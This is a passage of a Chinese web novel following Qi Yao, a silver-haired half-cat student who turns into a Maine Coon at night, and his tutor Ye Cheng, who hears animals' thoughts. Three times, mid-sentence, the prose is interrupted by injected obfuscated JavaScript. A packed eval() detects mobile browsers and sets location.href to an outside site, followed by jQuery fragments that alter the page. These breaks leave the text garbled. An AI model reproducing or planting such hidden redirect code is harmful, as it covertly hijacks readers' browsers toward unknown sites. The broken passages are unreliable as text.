“还是好帅啊。”
“绿帽子都挡不住的帅。”
“红袜子也挡不住。”旁边女生小声补充,“之前本命年,我妈给我买了一打红袜子,我嫌丑没穿,回家就去翻出来。”
祁曜眼窝深邃,五官混血感很重,尤其是那双碧绿色猫眼,看人时会有一种他深爱你的错觉,像翡冷翠的夜晚。
此时此刻,祁曜坐姿懒散地歪在椅子上,无精打采地抽出草稿纸,像一只晒太阳的慵懒大猫。
白皙腕骨处挂着黑色电子手环,银发被晨光描上了一层金边,那生人勿近的冰冷气息怎么挡也挡不住。
“连翻书都这么帅。”同班女生搂紧怀里的作业本,心情愉悦得与窗外明媚的春光一模一样。
“小点声,祁曜在认真做题呢。”身边女生提醒。
“我也要去学习了。”
“加油!又是努力学习元气满满的一天!”
认真?常烁闻言乐了,祁曜可以边做题边看韩剧,顺便还能用平板切个水果,一点儿都不带影响的。
寒假他去找祁曜,一推门就看见,祁曜坐在毛毯上,手用来写作业,尾巴用来切水果,眼睛用来看韩剧。
紧接着,他掏出手机拍照留念,被祁曜追着打了一顿。当然他们是用猫形打的架,常烁猫形不如祁曜大,自然是打不过他。
最终,三花男猫常烁心疼自己被抓秃的美丽猫毛,可怜兮兮地删除了照片!
祁曜困得将头埋进桌子里,除了语文课被老师叫起来背了首古诗,赏了个粉笔头外,今天一天都无大事发生。
放学后,常烁抽出祁曜手中的一模成绩条,啧啧称赞,“祁曜,数学150,英语146,物化生满分!语文~”他暧昧得拉长声线,“99哦~”
常烁继续在旁边絮叨,“真是人比人气死人,语文考这么低,也拉下你那便宜弟弟一大截!”
“那天我在走廊碰见他,祁亮看你那眼神就跟要杀人一样!”常烁心有余悸地捂住胸口,张大嘴巴道。
弟弟?
他也配?
祁曜垂眸把墨色水笔拧好盖,丢进笔筒里,“走了。”
“就等你这句话了,”常烁饿得只剩下一副皮包骨,他有气无力地把祁曜写完的试卷塞进自己包里准备回去抄,“走,去吃烤鱼。我上周在城西胡同那边吃到了一家巨好吃的烤鱼……”
-
今天早上,叶橙接到导员的通知,就业面谈改到了下午三点。
走出崇德大楼后,时针已经旋转到了五点钟,叶橙萎靡不振地掏出手机搜索和宋金金约好的地方。
湘辣妹子烤鱼店,还好,不算远,步行过去也就需要二十分钟。
叶橙穿过校园大门卖力吆喝的闹市区,在草木茂盛的高架桥下行走,左拐右拐,最后走进城西胡同。
电话那头人声喧闹,宋金金得扯着嗓子喊才能让叶橙听清,“你到啦!我出去接你!”
烤鱼店在胡同最深处,牌匾做得十分简陋,顶上画了三个火红的大辣椒,下面灯牌“妹”字没亮,扫过去一念就是“湘辣子烤鱼”。
牌匾下站着一个扎马尾穿黄色衣衫的女孩,正兴奋得冲叶橙招手。
叶橙走过去,把手中红绿格子包装的礼物盒递过去,“生日快乐!金金!”
“谢谢!”宋金金幸福地眯起眼睛,接过礼物,“寝室只剩下我们两个孤家寡人,还好有你陪着,要不然我这个生日也太孤单了。”
“你男朋友呢?”
“他啊,”宋金金垂下眼睛,似乎是不太想提他,意味不明道:“一会儿吃完饭叫他来接我们。”
叶橙看出来宋金金兴致不太高,意识到自己说错了话,连忙转移话题。毕业季即分手季,这话说得真不错,曾经蜜里调油的两个人也会因为距离、家庭、时间等问题产生隔阂。
刚烤好的草鱼被端上桌,滋啦冒油,香葱、花椒、辣椒等辛香味刺激着嗅觉。
叶橙斟了一杯雪碧递给宋金金,又给自己斟了一杯。碳酸气泡在口腔炸开,叶橙夹起被辣油浸泡的藕片送进嘴里。
竹帘后传来熟悉的清朗嗓音,“不放辣椒、不放香菜、不放蒜泥……”
对面的服务员似乎是冒出了一个问号,疑惑道:“嗯?”
这鱼还能要吗?
这鱼要不得了。
“只用最原始的烹饪方法,什么调味品都不加?”
叶橙扭头,隔着竹帘,她影影绰绰地看见一道穿着市一中校服的熟悉身影。
“这人可真奇怪。”宋金金夹起一大口鲜嫩鱼肉,嘴唇被辣得红肿,又拿起杯子干了一大杯雪碧解辣。
奇怪的不是人,是猫。
叶橙抽出纸巾擦嘴上的油渍,掩住笑意,只是那眼角眉梢的愉悦没能挡住宋金金的火眼金睛。
“笑得这么荡漾,谈上了?”
“谈什么?”叶橙若无其事地把纸团丢进垃圾桶,“谈不了。”
大学当了四年的孤家寡人,一心扑在绩点保研上,结果最后也没保上。现在就业形势这么严峻,她一没上岸二没工作,心里无情爱,满脑子都是前途。
叶橙掀开帘子去厕所,无视宋金金戏谑地打量。
“落荒而逃了?切,等你回来,继续逼供。”
“……”
帘子遮不住宋金金的调侃,叶橙闷头快步往前走,在拐角处闻到了清冽的柠檬薄荷香。
拐角处空间狭小,祁曜侧过身让叶橙过去,手指蜷缩在校服裤边。
[不认识了?]<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627888|172465||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
[昨天才见过。]
[我……大众脸?]
熟悉的声音,叶橙这才反应过来转身,抬眸盯着祁曜头顶上的猫爪,笑意盈盈地开口:“你好啊,祁曜同学。”
小猫咪可真难哄,毕竟是未来的大客户,叶橙打气十二分精神认真对待。
况且是她最爱的毛茸茸,她肯定会让着他的。
祁曜淡淡道:“嗯。”
富士山猫爪粉里透红,蹦出弹幕:[你好。]
[你好?]
[一点儿也不好!]
推开门,常烁快把头埋进锅里,祁曜面无表情地看着他吃,不发一言。
常烁吐出嘴里的鱼骨头,抽出嘴理他,“尿完了?”
祁曜冷白皮的脸黑了一个度,他不想说话,抽出桌上的纸巾擦手落座。
常烁却不肯放过他,像是发现了新大陆惊奇道:“脸这么红,你干甚去了?”
“辣的。”
“你说辣的?!”
常烁自然是不信,锅里的鱼无色无味无辣椒,只是用油煎烤过就端上桌了。
准确来讲,祁曜和常烁是表兄弟关系,常烁猫形是一只三花男猫,毛色漂亮长相惊艳。他们两个口味差不多,都喜欢未经调味品摧残的、原汁原味的鱼虾。
“辣你妹?”常烁指着锅里的鱼,大声嚷嚷:“你说这玩意儿辣?鱼就算死河里也不肯承认。”
话音刚落,坐在椅子上的清俊少年瞬间变成了一只银白毛发的缅因猫。
一人一猫大眼瞪小眼。
“过了七点啦?”常烁大惊小怪,粗鲁地揉搓银虎斑缅因猫的毛发,拍着大腿狂笑不止,“祁曜表哥,你这过了七点就变猫的毛病啥时候能治好?”
“……”
祁曜是人类和猫族共同孕育的后代,他患有先天全色盲症,同时晚上七点以后会控制不了自己的身体,人形猫形无法自由切换。
“别挠我!哥!我错了!”常烁停止了嘲笑,开始惨叫。
“啊!”
常烁脸上顶着一道鲜红的血印子,怀里抱着巨大的缅因猫,在店门口结账。
这奇葩的造型,瞬间吸引了店内所有人的目光。
“妈妈!”扎着花苞双丸子头的小女孩乖巧坐在座位上,吃着鱼含糊不清,“你看那个哥哥怀里的猫,好大啊!”
“好肥啊!”
好肥啊!稚嫩的童声和昨天清甜的声音渐渐重合,祁曜的碧绿色猫眼闷闷不乐地低垂着。
走出烤鱼店,祁曜银白色毛发暴露在月光下,猫科动物夜视能力极好,他一扭头就看见了在路边等车的叶橙。
“祁曜表哥,你别在我怀里乱动。”
常烁伸手揪住了祁曜后颈处的猫毛,稳固住他的身体。
缅因猫实在体型太大,再加上祁曜油光水滑的皮毛,叶橙和宋金金瞬间就被吸引了过去。
宋金金指着烤鱼店门口,“橙子,你看那边。看来这主人还是个爱猫人士,出来吃饭也要抱着。”
“也不嫌重。”
叶橙瞧了过去,在没有见到祁曜猫形真身时,她就听到了无孔不入的心声。
[真烦。]
[傻子,是想让所有人都看过来吗?]
5. 自卑
沉默是今晚的康桥……
率先打破沉寂的是常烁,这孩子脑瓜子灵活,只一眼就发现祁曜的心之所向。他垂下眼帘,再抬头已经换上一副招牌笑容。
叶橙想不明白怎么能有人脸变得这么快?是专门去四川进修过川剧变脸吗?
不等她细想,就看见一双高帮北卡蓝黑曜石球鞋停住脚步,就站在她面前的一块红色方砖上。
常烁像只花枝招展的孔雀,笑嘻嘻招揽生意,“喜欢小猫吗?随便摸。”
话说到一半,怕别人以为他是骗子,又补充了一句:“不要钱的。”
“真的不要钱。”
小猫?神他喵小猫?
大猫还差不多!
宋金金避之不及,下意识躲远,“不了不了,我怕猫。”
“好吧。”常烁委屈巴巴地举起缅因猫的手,摆出拜拜的手势,可怜兮兮地转向叶橙。
“小姐姐,我妈叫我回家吃饭了。他叫小曜曜,你应该认识他吧,能帮我把他送回家吗?”
此时的祁曜只会喵喵叫,无法说人话,只有头顶的猫爪弹幕闪烁不停,晃得叶橙眼睛晕。
祁曜气笑了,胡须不自然地抖动:[。]
[神经病。]
[你不是该回家吃饭,你是该回炉重造,去治治脑子。]
常烁那张碎嘴子还在不停说话:“求求了……这猫除了能吃能喝,没啥缺点……”
“你要是不想送他回家,自己带回去养也行。”
祁曜眼睛半眯,冷飕飕地飞眼刀:[有病。]
稀奇!叶橙居然能从一张毛茸茸的猫脸上看出来愤怒、尴尬、羞涩、不耐烦、想杀人等复杂情绪纠结在一起的样子。
怔愣间,常烁托起缅因猫强壮有力的灰色大脚往叶橙怀里塞,不等她拒绝,常烁早已脚底抹油溜得飞快。
跑路到一半还不忘回头邀功,那表情似乎在说:表哥,我聪不聪明?
“……”
只留叶橙、祁曜、宋金金二人一猫在风中凌乱。
“这人没事吧。”
宋金金回过神来,蹙起眉毛离缅因猫一米远,“橙子,你真认识这猫?”
叶橙点头,思忖着怎么说才能不吓到宋金金,“他是我学生家养的猫。”
宋金金了然,余光瞥到了熟悉的黑色车身,“我男朋友来了,看来我们是不能一起回去了。”
她推开车门,语气像在叮嘱小孩子,“送完猫赶紧回家哦。”
“知道啦!”叶橙笑着送宋金金离开,这个地方比较难打车,过了会儿才有司机接单。
等所有人都走后,祁曜用尾巴捂住眼睛,那语气似乎不太确定:[她会送我?]
说完,祁曜又用力锤了锤自己柔软的猫肚子:[光会给别人找麻烦。]
叶橙愣住,从他犹豫的脸上品出一丝自卑的意味,她伸出手环抱住缅因猫毛茸茸的身体。
津海市春天昼夜温差较大,叶橙瑟瑟发抖地缩了缩脖子,小声咕哝着:“车怎么还不来?”
碧绿色的椭圆形猫眼对上一双圆润杏眼,祁曜率先错开目光,不自然地用自己厚密蓬松的毛发蹭向叶橙冰凉的手臂,帮她取暖。
[她看起来很冷。]
[其实我可以自己回家的。]
[也就常烁那个白痴办得出来这种白痴事……]
叶橙戳了戳祁曜软软的猫毛,温柔地笑,“小猫咪一个人走夜路容易被坏人抓走。”
尤其是祁曜这种贵猫,万一被哪个猫贩子盯上抓走就坏了。
[女孩子一个人走夜路也很危险。]
“喵喵喵……喵喵喵……”怀里的祁曜羞涩开口,脑袋埋在叶橙臂弯里,猫爪轻轻按压,张开又合拢。
[要不……我送你回家吧。]
[算了,我说话她又听不懂。]
[要是人能听懂猫语就好了。]
其实我能听懂。
不等叶橙说话,手机提示音响了,打车软件显示司机已到达。
“师傅,猫可以上车吗?”叶橙凑到车窗前,想把猫举起来给师傅看,但——她压根举不起来,胳膊无声地发出怒吼。
祁曜甩了甩尾巴,主动从叶橙怀里跳到地上。
落地的瞬间,叶橙松了口气,胳膊顿时轻松得飘飘然。再这样下去,她估计能练出麒麟臂。
“行似行。”
司机大哥侧身扫了眼,手扶在方向盘上考量道:“但是——”
听到这话,叶橙放心地打开车门,让祁曜先进去,自己随后上车关门。
“但是你得看好它,别让它在车上乱拉乱尿。”司机补充刚才未说完的话,像是曾经被猫狠狠伤害过。
叶橙口水差点喷出来,她艰难地遏制住快要咧到耳后根的嘴角:“放心吧师傅,他很乖的。”
“……”
祁曜嫌弃地抖抖毛发,耳朵尖的聪明毛蹭过叶橙胸前的头发,巨型猫脚隔着单薄的牛仔裤烙下两朵梅花印。
他从叶橙腿上跳下来,坐到她身旁。
[别喷我身上。]
随即,他转过头,是一张帅气猫脸。祁曜半眯起眼睛,懒洋洋地觑了眼前排认真开车的司机师傅:[你才乱拉乱尿。]
这么不耐烦啊,小猫咪。
叶橙抓向嚣张竖起的毛茸猫尾巴,祁曜不让摸快速错开,她只抓到了一把空气。
司机师傅余光瞟到了红绿灯停住车,有一搭没一搭地聊天,“这猫真好玩儿,老半天了也不喵喵叫。”
“上次接到一个从狗咖出来的,带着猫去狗咖,您说说这个?”司机大哥笑出了鱼尾纹,表情挺无奈的,“那猫一上车就不耐烦地喵喵叫,还把我车后座的垫子尿湿了……”
“是嘛,”叶橙惊叹开口,“这叫怎么个事儿。”
祁曜不耐烦地趴在垫子上,生怕自己趴着的垫子是被那蠢猫尿过的,他仔细嗅了嗅发现没什么异味,才安心下来。
[聒噪。]
“喵。”
祁曜敷衍地叫了一声,给无聊至极的司机师傅解闷儿。
“回家吧。”
叶橙把缅因猫抱下车,帮他按响了门铃,庭院里的玉兰花在夜晚寂静开着。
黑夜里,月光皎洁,女生穿着简单的衣裙,渐行渐远。
祁曜悄无声息地跟在叶橙身后,猫咪脚掌厚实,走在路上无声无响。直到叶橙坐上出租车,牢牢记住车牌号后,祁曜才
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627889|172465||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
转身回家。
头顶的富士山猫爪冒出弹幕:[晚安。]
就在这时,叶橙突兀回头。
猝不及防间,缅因猫慌张地钻进香槟色玫瑰丛中,小鸟啄食一样把头埋得低低的。
只是,花丛中露出半截银白色猫尾巴,左右摇晃地摆动。
夜晚很黑,但叶橙还是一眼就看到了那嚣张的,还略带局促的尾巴尖。
祁曜嘴边叼了一朵馥郁芬芳的花,杂乱无章的叶子陷进柔软毛发里,他小声嘀咕:[看不见我,看不见我。]
你好可爱啊,小猫咪。
这一瞬间,叶橙身上散发出元气饱满的橙子果香,覆盖住玫瑰丛馥郁的花香。
祁曜没错过,那一闪而过的橙色世界。
心脏奇奇怪怪的,祁曜落寞迷茫地转身,望向非黑即白的黯淡世界。
-
刚回寝室,收到了宋金金要和男朋友出去嗨皮的消息,字里行间都能感受到她的愉悦。
叶橙大字型躺在床上,脑子里翻来覆去的都是猫。
她这是得了思猫病吗?
明天去ruarua小黑、八嘎它们。
叶橙是被闹钟吵醒的。
今天等待她的是一大堆兼职。
早上七点半,叶橙先去食堂买了蔬菜包子和一杯豆浆。八点钟菜鸟驿站开了门,叶橙取好快递投送到各个寝室门口。
九点钟,叶橙已经坐在图书馆背英语单词了,对面同学大概是昨晚没睡好,趴在桌子上补眠。
一天时间过得很快,尤其是匆忙又满足的一天。这种时间被安排得满满的充足感,让她感到安心。
她对自己,对自己的未来,乃至自己的人生,都报以百分之一百的激情去对待。
她热烈地渴望澎湃的梦想与爱。
晚上七点,叶橙登陆好账号后,把手机塞进书包里,去操场兼职校园跑。
戴上耳机与喧嚣隔绝,英文歌《Wake》正在播放,叶橙调整步伐跟随音乐节奏在塑胶跑道上快速前进……
“Youwillneverfadeaway,Youloveisheretostay——”
“Bymyside,Inmylife,Shiningthroughmeeveryday——”
走出操场铁门后,叶橙掏出书包里的手机,微信上有几条未读消息。
叶橙皱眉,是一个陌生的头像,非常辣眼睛,图片上那人撩起上衣,露出一块不算是腹肌的腹肌。
也就两块吧。
还不如真空包装的烤肠。
叶橙视线往下扫,发现那人开始自我介绍起来:[我是林翊,你还记得吗?我们加了好友还没聊过天。]
是上次在公交车偶遇的烦人研友,叶橙给他加上备注:[显摆精]。
[显摆精:刚刚我看见了一个人,好像你。]
[显摆精:在学校小足球场上跑步的那个,是你吗?]
林翊发来一张高糊图片,顺带补充说明:[粉色棒球帽,白色卫衣浅蓝色牛仔裤,腿又长又直的。]
叶橙没有防备心理的点开语音,就听见耳机里油腻的气泡音,“是你吧……”
6. 思春期
是你爸!
完了!谁能赔她耳朵的精神损失费!
她都快忘了还有这么一个人了。
林翊继续用他那矫揉造作的气泡音发消息:[嗯?人呢?消失了?]
[说话。]
顺便截了一张他朋友圈刚发的油腻腹肌照,配文:[帅吧。]
“……”
完了,她手机脏了。
该去油了。
羽毛球在她眼前飞来飞去,叶橙深吸了一口气,果断拉黑好友,她要回去拿酒精棉片给手机消毒。
对不起你,我的爱机!
翌日清晨,叶橙感觉从头到脚都被油浸泡过,她决定去撸点毛茸茸,洗洗眼睛。
“八嘎,过来。”叶橙嗓子都快夹冒烟了,花坛里的八嘎不为所动,闲闲地用圆得像灯泡的眼睛觑她。
“一会儿请你吃小鱼干拌猫粮。”叶橙试图用美食诱惑,八嘎脚底板粘在青石板上,依旧无动于衷。
叶橙换了个攻略对象,她掏出一包小鱼干,冲中华田园黑猫招手,“小黑,这里有美味小鱼干!”
小黑过来叼起鱼干,胡须蹭过她的手心,一副大佬做派地跳到高台上,漂亮的猫尾巴悬在空中左摇右晃。
之后任凭叶橙怎么叫它,它也不下来。
此时,一只圆滚滚肥胖胖的橘猫趁大家不注意把一袋鱼干全吃光了,吃完了还不忘用大脑袋蹭她胳膊表示感谢。
倏忽间,橘猫像是闻到了什么味道,如临大敌地躲开了。
啥情况啊?
今天这些猫怎么回事?
集体成精了?
奶牛猫上方的警示牌摇摇欲坠,画着黄色三角和红色叹号的牌子极速往下砸,眼看着就要砸到八嘎身上。
叶橙快速地把奶牛猫搂进怀里,八嘎的耳朵尖轻轻蹭过叶橙的胸部,头顶毫无预兆地蹦出一个火箭形状的猫爪,巧克力色肉垫疯狂地跳跃。
她听到了一道很拽的御姐音:[八嘎八嘎八嘎……难听死了。]
奶牛猫毫不留情地嘲笑:[那群蠢人类天天八嘎八嘎地叫,跟一群鸭子一样,嘎嘎嘎——哈哈哈——]
“……”
无语片刻,叶橙举起奶牛猫的脚掌,仔细端详,和黑耳朵上的猫爪弹幕一模一样。
紧接着,火箭型的巧克力色猫爪冒出一团火:[别碰我,蠢人类。本喵的脚是你能看的吗?]
[本喵的脚是要给亲亲老公看的。]
叶橙:“……”
八嘎志向还挺远大,不知道她老公是小黑还是胖橘?
“小橘,”叶橙冲橘猫招手,敲击金属罐身发出清脆声响,她拆开一罐三文鱼猫罐头,“这里有好吃的,快过来。”
橘猫纠结很久,终究是抵挡不住美食的诱惑,颤颤巍巍地跑过来吃三文鱼,布满倒刺的舌头将鱼肉舔舐干净。
叶橙顺了顺胖橘的白色围脖,问他:“你觉得八嘎漂亮不漂亮呀?”
橘猫眼睛瞪得像铜铃,嘴边粘了一圈鱼肉残渣,似乎冒出了一个问号。
奶牛猫怒气冲冲地挣开叶橙的怀抱:[我叫甜甜!我是中华田园猫!再说一遍我叫甜甜!]
甜甜?叶橙揉了揉甜甜黑黢黢的脑袋,奶牛猫躲闪不及只能任她蹂.躏。
[死胖子还吃!]甜甜怒其不争地瞪向胖橘:[怪不得你头顶一片青青草原。]
[天天唱那难听得要死的美味猫条歌——]说着,奶牛猫模范胖橘唱歌的样子,开始摇晃脑袋抖动耳朵:[美味猫条~美味猫条~美味猫条喵喵喵~]
叶橙嘴角抽搐,猫界八卦真多,她这算是打入小猫内部了吧。
甜甜口中的亲亲老公估计就是小黑了。
奶牛猫傲娇地扬起脑袋,满脸自信地说:[还是小黑好,帅喵!简直是俺们小姐妹群里的梦中情猫!]
群?
叶橙震惊到了,你们还有群啊!
奶牛猫继续语出惊人道:[这只人类经常给我投放食物,我要不要提醒一下她啊?]
提醒她什么?
叶橙更震惊了,不要告诉她什么可怕的事情啊!
甜甜用白色猫爪拍了拍叶橙的手臂和头发,一脸恨铁不成钢的样子,让叶橙心底发凉。
都说小动物嗅觉敏感,能提前察觉主人身体不适,好提醒主人提前去医院。
叶橙无助的环抱住自己,任甜甜怎么巴拉也巴拉不开,还是别告诉她了,她不想知道啊。
甜甜无法理解叶橙的脑回路,自顾自地喵了几声。
火箭型猫爪替她翻译:[蠢人类,你身上有一只霸道男猫的味道。]
[啧啧啧,真霸道!都不让其他猫碰,也不让本猫摸。]
甜甜突然用白色猫脚疯狂拍打叶橙的胳膊,用黑色尾巴在叶橙腿上滑滑梯:[真是个心机boy,姐姐我就摸!就摸!气死你!嘻嘻嘻!]
甜甜,不要忘了你是一只傲娇奶牛猫啊!小黑正在高台上看你发癫呢!
叶橙与高台上的黑猫对视,小黑脸上写满了不想认老婆的表情。
甜甜收回猫脚猫手还有猫尾巴,哼哼两声愉快地跑远了:[不知名的霸道男猫,准备迎接姐姐送给你的礼物吧。]
霸道男猫,八嘎说的不会是祁曜吧?
转眼间就到了周末。
这破天气说降温就降温。
叶橙把前些天新买的彩色春装塞进柜子里,拿了一件毛绒厚外套裹成个粽子出门了。
在叶橙坐上公交车的那一刻,祁曜面临着相当棘手的一件事情,他……
他目不转睛地盯着被子上的湿痕。
祁曜本就皮肤白,此时的脸颊更像是一抹火烧云,从头红到尾。碧绿色猫眼圆睁写满了无措,头顶的银灰色耳朵害羞地缩起来,泛出粉意。
冷静过后,祁曜咬牙切齿地捂住自作孽不可活的下面,阴沉着脸去洗被套和……内裤。
祁曜把水龙头打开,水流哗哗冲洗灰色被套,他拎起浸满水的黑色内裤,正准备搓洗时,手机突然弹出叶橙发来的消息:[我来啦。]
吓死了……
祁曜的猫耳在银色发丝间唰唰耸动。
[快来帮我开门。]
哦,原来只是叫他开门。
他难道是她的开门大将吗?
哼。
祁曜冷着脸把水盆丢到马桶上,甩着猫耳朵去帮叶橙开门了。
“呀!你的耳朵!”叶橙惊奇地打量开门的男生,祁曜的耳朵原本是银灰色的,聪明毛也是浅淡的灰白色。
此刻,却是粉通通的。
听到叶橙的话,祁曜扶在门把的手僵硬住,猫耳朵不自然地缩了缩,“快进来,你杵在门口是想喂蚊子吗?”
喂蚊子?现在哪来的蚊子?叶橙撇撇嘴走进屋,她才不会幼稚到和口是心非的小猫咪计较。
二人一前一后地走着,空气中散发出某种黑白相间的、毛茸茸的大犟种生物气味。
“奶牛猫?”祁曜狐疑的声音从头顶传来。
你又知道了?
叶橙转头并点头,盯着祁曜微微皱
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627890|172465||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
起的眉毛回答:“是啊,是我们学校的一只奶牛猫。”
“她叫八嘎,也叫甜甜,是一只非常可爱的小猫咪。”
除了偶尔会发癫。
叶橙没注意,她每多说一句话,祁曜的脸色就黑一分。
祁曜现在无暇顾及其它东西,他精准捕捉到叶橙嘴唇翕合间,冒出“小甜甜”、“大可爱”、“奶牛猫”几个字。
他真的非常非常讨厌黑白相间的生物。
原因之一是他和奶牛猫有不共戴天之仇,原因之二就是这种生物根本不是正常猫,癫癫的,像个神经病。
哦,还得再加上个三花猫常烁。
祁曜神色有些冷淡地别开脸,默不作声地上楼。
他走路是寂静无声的,只能听见叶橙哒哒上楼的脚步声,叶橙把脚步放轻,尽量不发出太大的声响。
前面的人宽肩窄腰,居家服修饰出祁曜干净的身形,突然头顶冒出了一个气泡。
气泡上冒出个猫爪,富士山猫爪嚣张地张开,露出锋利的指甲:[杀。]
杀?杀什么?杀阡陌?
叶橙无法理解缅因猫的脑回路。
好吧,现在还得加上一条,她无法理解祁曜怎么能把作文写成这样?
“作文主题明明讲的是向阳而生的勇气,你为什么要写你很快乐啊!”叶橙攥紧脆弱挣扎的试卷,“你是中国人吗?”
话音刚落,她瞬间反应过来:“哦对你是喵国人。”
还是只外国喵。
祁曜不受控制地紧盯叶橙白皙的手腕,纤细的、脆弱的,碧绿色眼珠转了转,脑海里循环播放昨天做梦的细节。
[我是坏掉了吗?]
[……]
祁曜嘴唇抿成一条直线,面容清俊白净,头顶上的富士山型猫爪开出一朵害羞的小花。
花瓣是粉白色的,花蕊是鹅黄色的,像是被风吹雨打一样的颤抖。
叶橙打了个哆嗦,听见祁曜的心声继续播放:[坏掉了坏掉了坏掉了……]
啊?
祁曜到底在幻想什么?
火烧到屁股上了?
要不要这么急,叶橙指节敲了两下桌子,佯装冷酷道:“听课。”
“不要再想你的小鸟了,”叶橙扫了眼窗外的麻雀,淡淡道:“一时半会儿,它飞不走——”
“谁想它了,”祁曜头顶的猫爪宕机两秒后,冒出几道冷汗,“我才没有想它。”
嗯嗯嗯。
傲娇的小猫咪。
一时间气氛有些尴尬,祁曜双耳侧压向两边,选择性遗忘昨晚的梦:[坏掉了,真的坏掉了……]
她才是真正坏掉了。
叶橙干脆利落地推开椅子,兀自在心底叹了口气,快步走向对门的卫生间。
“呀~”
很轻的一声,回过神的祁曜微微皱眉,不理解她为什么会这么紧张。
[她怎么了?]
[被我写的作文吓到了?]
糟糕!
祁曜追过去,叶橙已经推开了门,卫生间收拾得干净整洁,只有……马桶。
马桶上摆着一个水盆,水盆最上方漂着一件黑色内裤,黑色内裤看起来不太正常,像是被狠狠蹂.躏过的样子。
祁曜欲盖弥彰地合上门,抿住嘴唇,“我进去收拾收拾,你先去楼下的卫生间。”
头顶的猫爪紧紧蜷缩在一起,粉里透红:[她不会知道了吧……?]
叶橙脑子有点懵。
原本是不知道的,现在知道了。
7. 加工资
祁曜发现叶橙在有意识地避开他。
他是什么见不得人的东西吗?
他记得上周六,叶橙离开前说:“你的作文太见不得人了,回去多练练。”
祁曜百无聊赖地趴在桌子上,讲台上的班主任长了一张国字脸,五官粗犷聪明绝顶,嗡嗡响的小蜜蜂将他的话传遍整间教室。
“同学们抬头看下大屏幕!”蒋劲松点开成绩单,用鼠标往上滑,滑到最顶端,“咱们趁大课间休息时间,来分析一下同学们一模的成绩。”
“这次的年级第一和年级第二都在咱们班,第一名是祁曜同学,第二名是祁亮同学,你们要多向祁亮同学学习!”
听到蒋劲松的话,班里同学纷纷往祁曜和祁亮的位置上瞟。
高中生,正是经不住诱惑的年纪,老师一点谁的名字就控制不住地往那处瞄,哪怕是一坨屎,也能看成一朵花。
祁亮有点儿骄傲地站起身,迎接众同学的目光洗礼,仿佛此时是他一个人的登帝时刻。
在他的张扬衬托下,年级第一的光环显得黯淡极了。祁曜脸靠在窗边那侧,留给众人一个后脑勺。
祁曜划开手机锁屏,他仔细盯着没有半点动静、也不会冒小红点的微信头像,明明上周还每天都给他发一则作文素材的。
这周理都不理了。
负猫汉。
难道真是他的作文太见不得人了?把人气得都不想理他了?
祁曜不理解,趴在桌子上的头转了个方向,眸光淡淡地扫向小女孩头像。
同桌常烁拍了拍他的肩膀,示意他起身,祁曜抬起头与蒋劲松那张面容扭曲的脸对上,又与祁亮那张得意洋洋的脸对上。
“???”
祁曜关上手机,无声地与那两张脸对峙,炸眼的银发让他在成为班级内的视觉中心。
“祁曜你不要以为考得高,就可以得意洋洋,祁亮除了理科不行,语文成绩比你高出一大截。”蒋劲松唾沫横飞地说话,唾沫星子溅到讲桌边同学的脸上。
“他迟早超过你!”
祁曜:“……”
上课铃直接打断了蒋劲松的话,他连课都不让祁曜上了,“你们两个跟我来一下。”
祁曜不耐烦地沿着走廊往前走,身后跟着蒋劲松和祁亮,不知道的还以为是他新收的两个小弟。
直到上完厕所跑回教室的同学纷纷往他们身上瞄,蒋劲松这才感觉出不对劲来,他小跑几步走到前面,注视着祁曜那张唯我独尊的脸,沉默几秒后说:“你去后面。”
祁曜双手插兜冷淡地嗯了一声,盯着蒋劲松光秃秃的头顶,现在像前面多了一个开路的小弟。
推开办公室门,是一个聪明绝顶的人和一个头发茂密的人。没头发的是年级主任,有头发的是便宜爹祁连山。
祁曜面无表情地扫过那几张让他感到厌烦的脸,语气不善道:“说吧,这么兴师动众地找我过来,有什么事?”
“我想把你送到国外读书,前提是你得把清大保送名额让给祁亮,”祁连山沉声开口,拧了拧眉心的褶皱,“你母亲那边——”
“做梦。”祁曜直接打断祁连山的话,“他还真不配。”
祁亮是什么狗屎吗?非得粘在别人身上才能活?
“这是你的荣幸!”祁连山见软的不行,开始使硬的,“你不想也得同意!”
“我挡着谁的路了,”祁曜抱着胳膊冷冷看他,意有所指地说:“是你的晋升路,还是你儿子的前途?”
蒋劲松一噎,祁连山登时面色沉下来,镜片后的眼睛烦躁不耐,“你说话不要这么难听,你妈就是这么教你孝敬父母、尊重师长的?”
“想当初我就不该把你的抚养权让给她,把你教成这副鬼样子?”
“你还有脸提我妈?”祁曜无波无澜地直视祁连山,声音冷得没有一丝情感。这男人怎么骂他都无所谓,就是不能说他母亲一个不字。
因为他不配!
“您当初干的事多风光啊。”祁曜用的敬称,语气却无半分尊敬之意。
